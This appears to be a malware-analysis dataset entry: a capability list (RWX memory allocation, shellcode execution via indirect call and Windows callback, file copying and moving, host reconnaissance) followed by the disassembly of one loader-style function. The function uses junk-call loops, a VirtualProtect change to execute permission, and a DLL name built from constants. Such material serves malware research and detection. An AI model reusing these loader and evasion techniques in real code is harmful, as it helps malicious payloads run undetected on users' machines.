Function at 0x41c0d0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get hostname
Move file
Query environment variable
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1c58
call fcn.00409c50
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x24]
push esi
push edi
mov edi, dword [sym.imp.GDI32.dll_SelectPalette]
xor esi, esi
cmp esi, 0x1e0b0
jge 0x41c10a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
call edi
cmp esi, 0x1e9a102e
jle 0x41c122
cmp ebx, 0xbf2068
je 0x41c122
cmp ebp, 0x88e0740
jne 0x41c12b
inc esi
cmp esi, 0x9b0b6
jl 0x41c0f4
cmp dword [0x70142c], 0xcf8
jne 0x41c1f0
lea eax, [esp + 0x20]
push eax
push 0
push 0x402bf4
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x70142c], 0x3a
jne 0x41c16c
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 0
call dword [sym.imp.SHELL32.dll_DragFinish]
push 0
push 0
push 0
call fcn.0040331c
add esp, 0xc
push 0x402c1c
push 0
call fcn.0040331c
push 0
push 0
call fcn.00402fc0
push 0
call fcn.00403305
add esp, 0x14
push 0
call fcn.004033d9
add esp, 4
push 0
push 0
call fcn.0040302d
push 0
call fcn.0040306d
add esp, 0xc
push 0
call fcn.0040306d
add esp, 4
push 0
push 0
call fcn.0040302d
push 0
call fcn.00402ff3
add esp, 0xc
push 0
push 0
push 0
push 0
call fcn.004031bb
add esp, 0x10
jmp 0x41c1f0
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
cmp esi, 0x408
jne 0x41c217
mov eax, 0x5d1
add dword [0x70142c], eax
cmp dword [0x70142c], 3
jne 0x41c235
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
lea ecx, [esp + 0x6c]
push ecx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41c204
mov edx, dword [0x70142c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileType]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov dword [0x43b9bc], eax
mov eax, dword [0x70142c]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x41c29a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0x68]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x70142c]
cmp eax, 0xdf
jne 0x41c337
push 0
call esi
lea ecx, [esp + 0x1c]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
lea edx, [esp + 0x46c]
push edx
push 0
push 0x402c28
push 0
push 0
call ebp
push 0x402c50
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
lea eax, [esp + 0x6c]
push eax
push 0
call ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0xc6c]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea eax, [esp + 0x28]
push 0
push eax
mov dword [esp + 0x2c], 0
call fcn.00406940
add esp, 0xc
push 0
lea ecx, [esp + 0x24]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov eax, dword [0x70142c]
dec dword [esp + 0x18]
jne 0x41c277
xor esi, esi
test eax, eax
je 0x41c39e
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitW]
cmp eax, 0xfe
jne 0x41c373
push 0
call edi
push 0
push 0
call ebx
push 0x402c68
push 0
call ebp
call fcn.0041be80
mov eax, dword [0x70142c]
cmp eax, 0x29
jne 0x41c399
push 0
push 0x402d0c
push 0x402d20
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov eax, dword [0x70142c]
inc esi
cmp esi, eax
jb 0x41c359
cmp eax, 0x70
jne 0x41c408
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0x402d8c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [esp + 0x468]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov esi, 0x3a5e74
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
push 0
call ebx
dec esi
jne 0x41c419
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov edi, 0x25887
jmp 0x41c440
cmp dword [0x70142c], 0x222
jne 0x41c457
push 0x402dc0
push 0
push 0
call esi
dec edi
jne 0x41c440
mov eax, dword [0x70142c]
mov ecx, dword [0x43b9bc]
lea edx, [esp + 0x14]
push edx
push 0x40
push eax
push ecx
mov byte [0x436c28], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041c090
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor esi, esi
jmp 0x41c490
cmp dword [0x70142c], 0xba
jne 0x41c4ac
lea edx, [esp + 0x14]
push edx
push 0
lea eax, [esp + 0x28]
push eax
push 0
call edi
cmp esi, 0x2f64
jne 0x41c4be
add dword [0x43b9bc], 0x2a37
inc esi
cmp esi, 0x1605a
jl 0x41c490
push 0x436c28
mov dword [0x436c2a], 0x33676d69
mov word [0x436c28], 0x736d
mov dword [0x436c30], 0x6c6c64
mov word [0x436c2e], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x70142c], 0xc30
jne 0x41c5c7
lea ecx, [esp + 0xc68]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea edx, [esp + 0x68]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0x402e28
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0x474]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
lea edx, [esp + 0x146c]
push edx
push 0x402e6c
push 0x402e94
push 0x402eac
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
push 0x30
lea eax, [esp + 0x28]
push 0
push eax
mov dword [esp + 0x2c], 0
call fcn.00406940
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret